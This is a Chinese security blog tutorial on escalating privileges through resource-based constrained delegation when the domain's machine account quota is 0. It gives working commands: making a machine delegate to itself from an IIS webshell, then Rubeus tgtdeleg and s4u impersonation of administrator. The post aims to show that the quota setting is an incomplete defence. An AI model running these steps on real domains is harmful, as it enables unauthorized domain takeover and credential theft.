当前位置: 首页 > 技术干货 > 基于资源的约束委派利用攻击介绍二

基于资源的约束委派利用攻击介绍二

发表于:2022-01-27 16:43 作者: Jumbo 阅读数(3229人)

前言

RBCD常见的攻击手法都是通过添加机器账号,然后设置委派,可参考前文(点击即可访问),那如果域管理员设置了域内默认添加的机器账号的数量为0呢?

修改ms-DS-MachineAccountQuota可以通过ADSI编辑器更改:

image.png 

 

也可以通过admod工具更改:

AdMod.exe -b  "dc=rootkit,dc=org" "ms-DS-MachineAccountQuota::0" -updatenchead

最后能看到ms-DS-MachineAccountQuota0:

image.png

 

 

自己委派自己

尝试利用老方法,能够发现添加机器账号失败了,也是情理之中:

image.png

 

 

前文(点击即可访问)中有讲到,机器自身和把机器拉入域的域用户都有权限更改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,而且还提到,服务账号,如iis、localservice这些,发起网络请求的身份是机器账号:

 

 image.png

image.png

image.png

 

 

因此我们可以自己委派自己,把机器的msDS-AllowedToActOnBehalfOfOtherIdentity改为自身机器账号,然后自身机器账号在模拟用户进行委派攻击。

我们模拟一下实战,首先打到了一个内网的webshell,iis apppool权限:

image.png 

 

利用ADModule来设置自己委派给自己:

powershell -ep bypass "import-module .\Microsoft.ActiveDirectory.Management.dll;$iis = get-adcomputer SRV-WEB-KIT;set-adcomputer SRV-WEB-KIT -PrincipalsAllowedToDelegateToAccount $iis"

查询委派信息(利用工具:https://github.com/Jumbo-WJB/search_rbcd),设置委派成功:

image.png 

 

这时候看过我前文(点击即可访问)的小伙伴会想了:“接下来我会,使用机器账号的凭证发起s4u协议就可以委派了”,确实是可以,但是这里是低权限用户,没法抓密码,也就无法获取机器账号凭证,那应该如何操作呢?

首先利用rubeus通过AcquireCredentialsHandle、InitializeSecurityContext,以非高权限申请转发票据:

rubeus.exe tgtdeleg /nowrap

 image.png 

 

利用s4u协议请求票据:

rubeus.exe s4u /user:SRV-WEB-KIT$ /domain:rootkit.org /dc:owa2013.rootkit.org /impersonateuser:administrator /msdsspn:http/SRV-WEB-KIT.rootkit.org /ptt /ticket:doIFLxxxxxxxxxx

 image.png

 

 

最终也成功的利用http spn对该机器进行了提权操作:

powershell -ep bypass "invoke-command -computername SRV-WEB-KIT.rootkit.org -Command {whoami}"

image.png 

 

抓密码啥的当然也不在话下:

image.png 

 


总结

本文描述了在MAQ为0的情况下的提权手段(当然不止文中的这些手段),可见设置MAQ为0并不能完全的防御住基于资源的约束委派攻击。